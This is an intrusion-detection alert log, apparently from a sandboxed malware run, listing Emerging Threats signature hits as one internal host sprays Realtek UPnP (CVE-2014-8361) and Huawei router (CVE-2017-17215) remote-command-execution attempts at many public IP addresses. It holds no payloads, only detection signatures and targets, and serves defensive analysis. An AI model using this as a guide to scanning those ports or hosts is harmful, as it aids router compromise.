07/20/24-23:01:41.412156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48118	52869	192.168.2.23	91.23.23.187
07/20/24-23:01:04.082385	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48818	37215	192.168.2.23	197.246.208.103
07/20/24-23:01:44.957555	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41402	52869	192.168.2.23	155.96.29.107
07/20/24-23:01:51.594415	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44100	52869	192.168.2.23	115.65.225.50
07/20/24-23:01:43.091220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58794	52869	192.168.2.23	101.52.13.24
07/20/24-23:01:44.114134	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60424	52869	192.168.2.23	32.0.100.142
07/20/24-23:01:02.093903	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37616	52869	192.168.2.23	137.195.128.162
07/20/24-23:01:14.117066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59010	37215	192.168.2.23	197.248.150.138
07/20/24-23:01:59.593869	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56606	52869	192.168.2.23	24.65.233.168
07/20/24-23:02:02.085571	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47840	52869	192.168.2.23	42.127.253.166
07/20/24-23:02:02.671155	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49994	52869	192.168.2.23	58.121.119.159
07/20/24-23:01:04.094795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55162	37215	192.168.2.23	157.87.142.177
07/20/24-23:01:20.596402	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51192	52869	192.168.2.23	1.209.93.74
07/20/24-23:01:54.881105	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33492	52869	192.168.2.23	135.46.10.64
07/20/24-23:01:41.443693	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58424	52869	192.168.2.23	70.82.6.11
07/20/24-23:01:52.625240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49526	52869	192.168.2.23	200.250.178.79
07/20/24-23:01:50.147840	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59216	52869	192.168.2.23	32.64.201.235
07/20/24-23:01:47.652628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35362	52869	192.168.2.23	95.200.159.137
07/20/24-23:01:00.637175	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58502	37215	192.168.2.23	197.160.34.184
07/20/24-23:01:55.944701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42188	52869	192.168.2.23	46.82.140.27
07/20/24-23:01:00.633355	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59428	37215	192.168.2.23	197.118.130.41
07/20/24-23:01:04.113037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39682	37215	192.168.2.23	41.255.209.13
07/20/24-23:01:41.722890	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44964	52869	192.168.2.23	141.137.71.180
07/20/24-23:01:45.599519	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49644	52869	192.168.2.23	76.8.56.105
07/20/24-23:01:43.300793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47466	52869	192.168.2.23	136.80.115.81
07/20/24-23:01:52.390301	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51446	52869	192.168.2.23	105.70.135.245
07/20/24-23:02:06.680685	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54018	52869	192.168.2.23	89.86.75.249
07/20/24-23:01:08.599361	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36014	52869	192.168.2.23	213.241.106.75
07/20/24-23:01:31.991336	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32994	37215	192.168.2.23	197.240.6.181
07/20/24-23:01:31.982478	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48318	37215	192.168.2.23	41.13.252.227
07/20/24-23:01:43.147883	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34030	52869	192.168.2.23	63.137.171.145
07/20/24-23:01:47.829810	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46942	52869	192.168.2.23	207.5.145.91
07/20/24-23:01:14.014458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59218	37215	192.168.2.23	197.8.46.56
07/20/24-23:01:48.445925	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43088	52869	192.168.2.23	185.97.134.51
07/20/24-23:01:44.560666	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41116	52869	192.168.2.23	174.126.153.78
07/20/24-23:01:51.060408	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34238	52869	192.168.2.23	129.173.36.90
07/20/24-23:01:48.918065	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43488	52869	192.168.2.23	35.61.70.96
07/20/24-23:01:11.636599	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38786	37215	192.168.2.23	25.61.31.63
07/20/24-23:01:31.976984	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40258	37215	192.168.2.23	8.98.251.144
07/20/24-23:01:02.768078	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60488	52869	192.168.2.23	86.86.67.253
07/20/24-23:01:40.286738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42938	37215	192.168.2.23	157.79.124.73
07/20/24-23:01:42.462291	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39952	52869	192.168.2.23	186.129.147.154
07/20/24-23:01:51.979093	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47772	52869	192.168.2.23	9.97.212.169
07/20/24-23:02:00.371741	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41426	52869	192.168.2.23	39.135.72.98
07/20/24-23:01:04.085431	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53176	37215	192.168.2.23	157.209.153.245
07/20/24-23:01:51.790169	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37528	52869	192.168.2.23	183.223.8.125
07/20/24-23:01:44.059102	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57892	52869	192.168.2.23	162.230.61.146
07/20/24-23:01:24.944299	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34160	37215	192.168.2.23	64.137.17.221
07/20/24-23:01:24.904906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38506	37215	192.168.2.23	47.200.89.27
07/20/24-23:01:03.290547	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38308	52869	192.168.2.23	129.27.232.7
07/20/24-23:01:47.934101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34730	52869	192.168.2.23	212.5.145.192
07/20/24-23:01:11.817297	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38628	37215	192.168.2.23	41.4.213.77
07/20/24-23:01:54.704194	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51816	52869	192.168.2.23	67.74.143.214
07/20/24-23:01:43.147883	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39284	52869	192.168.2.23	189.66.149.229
07/20/24-23:01:46.893328	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58992	52869	192.168.2.23	35.221.171.171
07/20/24-23:01:43.141192	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58726	52869	192.168.2.23	48.248.156.6
07/20/24-23:01:11.639230	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38990	37215	192.168.2.23	157.62.189.35
07/20/24-23:01:20.110860	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53424	37215	192.168.2.23	216.95.253.44
07/20/24-23:01:09.030401	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36084	52869	192.168.2.23	184.60.97.199
07/20/24-23:01:41.260372	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55702	52869	192.168.2.23	165.21.238.229
07/20/24-23:01:50.085627	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42686	52869	192.168.2.23	138.246.10.144
07/20/24-23:01:13.694393	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58076	52869	192.168.2.23	140.34.53.233
07/20/24-23:01:44.203130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38468	52869	192.168.2.23	173.68.146.233
07/20/24-23:01:43.557453	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39592	52869	192.168.2.23	197.85.104.215
07/20/24-23:01:24.867858	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46002	37215	192.168.2.23	208.252.51.218
07/20/24-23:01:41.228794	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42024	52869	192.168.2.23	1.216.69.165
07/20/24-23:01:47.342227	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38380	52869	192.168.2.23	105.139.214.54
07/20/24-23:01:41.702437	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36972	52869	192.168.2.23	176.90.235.184
07/20/24-23:01:07.061779	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40284	37215	192.168.2.23	197.70.24.118
07/20/24-23:01:02.070492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33456	37215	192.168.2.23	117.206.232.47
07/20/24-23:01:06.991143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55808	37215	192.168.2.23	157.5.95.219
07/20/24-23:00:57.221301	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49974	37215	192.168.2.23	197.231.189.109
07/20/24-23:01:32.034562	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33016	37215	192.168.2.23	41.52.129.29
07/20/24-23:01:42.699598	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43810	52869	192.168.2.23	113.209.32.105
07/20/24-23:01:53.863938	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58594	52869	192.168.2.23	66.250.122.217
07/20/24-23:01:08.611391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48150	52869	192.168.2.23	130.136.141.197
07/20/24-23:01:31.983105	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32934	37215	192.168.2.23	41.17.248.200
07/20/24-23:01:40.336908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52556	37215	192.168.2.23	157.164.227.86
07/20/24-23:01:48.490989	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58100	52869	192.168.2.23	195.45.218.64
07/20/24-23:01:45.096837	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41926	52869	192.168.2.23	167.73.249.89
07/20/24-23:01:26.156407	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38898	52869	192.168.2.23	148.228.70.58
07/20/24-23:01:44.730531	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45796	52869	192.168.2.23	81.144.207.10
07/20/24-23:01:40.319856	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41910	37215	192.168.2.23	109.208.87.26
07/20/24-23:01:21.909111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57128	37215	192.168.2.23	41.119.255.118
07/20/24-23:01:46.810790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45350	52869	192.168.2.23	169.129.60.246
07/20/24-23:01:42.656154	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60622	52869	192.168.2.23	148.6.1.136
07/20/24-23:01:45.164161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42482	52869	192.168.2.23	86.220.55.191
07/20/24-23:01:11.818830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59012	37215	192.168.2.23	157.178.193.168
07/20/24-23:01:43.877765	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46094	52869	192.168.2.23	183.90.49.252
07/20/24-23:01:01.494643	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55240	52869	192.168.2.23	23.94.137.105
07/20/24-23:01:26.019285	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58760	52869	192.168.2.23	36.125.123.117
07/20/24-23:01:44.954688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36322	52869	192.168.2.23	194.45.44.116
07/20/24-23:01:24.883172	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39746	37215	192.168.2.23	111.144.175.212
07/20/24-23:01:40.321965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53252	37215	192.168.2.23	197.122.17.30
07/20/24-23:01:49.387850	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50492	52869	192.168.2.23	48.81.156.141
07/20/24-23:01:55.594888	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41116	52869	192.168.2.23	59.99.39.216
07/20/24-23:01:20.124696	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42616	37215	192.168.2.23	197.124.243.228
07/20/24-23:01:43.571815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44764	52869	192.168.2.23	125.78.0.230
07/20/24-23:01:47.092270	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57310	52869	192.168.2.23	187.119.209.224
07/20/24-23:01:25.347089	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45246	52869	192.168.2.23	49.81.102.7
07/20/24-23:01:43.621955	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40832	52869	192.168.2.23	123.6.144.179
07/20/24-23:01:02.275811	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37202	52869	192.168.2.23	18.37.139.58
07/20/24-23:01:44.099799	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43384	52869	192.168.2.23	101.122.117.242
07/20/24-23:01:04.085431	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37978	37215	192.168.2.23	197.179.7.146
07/20/24-23:01:42.486106	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32964	52869	192.168.2.23	86.248.56.62
07/20/24-23:01:42.985200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48044	52869	192.168.2.23	12.82.126.36
07/20/24-23:01:43.921490	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52538	52869	192.168.2.23	48.218.79.196
07/20/24-23:01:49.356902	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39898	52869	192.168.2.23	13.35.187.229
07/20/24-23:00:59.203960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54948	37215	192.168.2.23	157.23.56.129
07/20/24-23:01:42.622797	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55116	52869	192.168.2.23	169.186.230.20
07/20/24-23:01:31.318206	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33518	52869	192.168.2.23	58.239.1.240
07/20/24-23:01:42.479337	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45740	52869	192.168.2.23	205.156.124.10
07/20/24-23:01:43.380019	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52180	52869	192.168.2.23	108.216.198.203
07/20/24-23:01:11.632393	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45886	37215	192.168.2.23	93.63.209.119
07/20/24-23:01:48.931855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46010	52869	192.168.2.23	213.131.100.211
07/20/24-23:00:59.187842	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52234	37215	192.168.2.23	157.17.98.184
07/20/24-23:01:20.096752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59220	37215	192.168.2.23	157.154.59.174
07/20/24-23:01:21.954501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49030	37215	192.168.2.23	157.161.67.148
07/20/24-23:01:00.634292	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36066	37215	192.168.2.23	58.150.96.208
07/20/24-23:01:41.321505	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44928	52869	192.168.2.23	108.79.31.157
07/20/24-23:01:27.650505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51726	37215	192.168.2.23	157.174.105.214
07/20/24-23:01:34.060991	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39904	37215	192.168.2.23	197.225.60.182
07/20/24-23:01:40.320408	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58788	37215	192.168.2.23	191.219.30.38
07/20/24-23:01:02.735576	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36248	52869	192.168.2.23	63.80.178.96
07/20/24-23:01:27.649775	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33728	37215	192.168.2.23	157.60.95.77
07/20/24-23:01:42.588824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33420	52869	192.168.2.23	218.206.46.127
07/20/24-23:01:44.306318	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39932	52869	192.168.2.23	186.139.241.135
07/20/24-23:01:45.188773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40180	52869	192.168.2.23	8.242.14.128
07/20/24-23:01:25.608031	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43532	52869	192.168.2.23	91.130.242.221
07/20/24-23:01:45.933453	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33282	52869	192.168.2.23	73.152.115.130
07/20/24-23:01:48.386032	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41382	52869	192.168.2.23	85.103.184.164
07/20/24-23:01:34.044717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59238	37215	192.168.2.23	157.189.171.193
07/20/24-23:01:51.290015	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43800	52869	192.168.2.23	9.66.181.144
07/20/24-23:01:12.811667	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36698	52869	192.168.2.23	106.229.130.40
07/20/24-23:01:45.072641	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42140	52869	192.168.2.23	107.204.90.199
07/20/24-23:01:11.642449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49292	37215	192.168.2.23	197.139.56.71
07/20/24-23:01:44.036421	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35630	52869	192.168.2.23	163.195.26.201
07/20/24-23:01:47.995202	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57242	52869	192.168.2.23	102.51.73.237
07/20/24-23:01:54.037758	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58232	52869	192.168.2.23	112.218.81.136
07/20/24-23:01:00.637175	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51926	37215	192.168.2.23	41.13.46.200
07/20/24-23:01:46.817503	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39336	52869	192.168.2.23	42.169.174.111
07/20/24-23:00:59.154068	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52500	37215	192.168.2.23	197.58.83.134
07/20/24-23:01:27.653586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60840	37215	192.168.2.23	37.233.245.194
07/20/24-23:01:44.489022	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35434	52869	192.168.2.23	82.91.121.224
07/20/24-23:01:55.870348	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39428	52869	192.168.2.23	157.175.172.46
07/20/24-23:01:12.813695	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42064	52869	192.168.2.23	51.49.44.101
07/20/24-23:01:24.876750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58978	37215	192.168.2.23	197.245.203.130
07/20/24-23:01:07.036064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56934	37215	192.168.2.23	141.231.204.102
07/20/24-23:01:47.902509	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44290	52869	192.168.2.23	206.59.132.204
07/20/24-23:01:45.175511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52488	52869	192.168.2.23	99.207.71.238
07/20/24-23:01:44.155894	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43802	52869	192.168.2.23	107.189.251.198
07/20/24-23:01:43.946379	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34982	52869	192.168.2.23	221.195.227.25
07/20/24-23:01:08.597662	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36710	52869	192.168.2.23	208.190.62.115
07/20/24-23:01:59.799089	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44900	52869	192.168.2.23	24.206.57.165
07/20/24-23:01:47.807536	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37344	52869	192.168.2.23	157.175.172.46
07/20/24-23:01:47.918473	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39424	52869	192.168.2.23	197.213.222.122
07/20/24-23:00:57.220949	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53130	37215	192.168.2.23	157.110.226.143
07/20/24-23:01:41.245522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57362	52869	192.168.2.23	191.61.198.111
07/20/24-23:01:41.290518	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49994	52869	192.168.2.23	69.103.140.112
07/20/24-23:01:41.912337	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42548	52869	192.168.2.23	35.204.82.212
07/20/24-23:01:56.246775	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59676	52869	192.168.2.23	9.38.202.199
07/20/24-23:01:11.822392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46852	37215	192.168.2.23	60.49.240.179
07/20/24-23:01:46.444461	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52970	52869	192.168.2.23	197.9.101.249
07/20/24-23:01:54.672544	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34852	52869	192.168.2.23	132.173.198.51
07/20/24-23:01:47.377081	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34994	52869	192.168.2.23	207.27.209.75
07/20/24-23:01:53.607815	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59936	52869	192.168.2.23	159.51.221.45
07/20/24-23:01:07.082045	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56538	37215	192.168.2.23	157.54.52.255
07/20/24-23:01:11.632393	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37508	37215	192.168.2.23	197.118.42.51
07/20/24-23:01:51.743446	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36894	52869	192.168.2.23	97.254.137.62
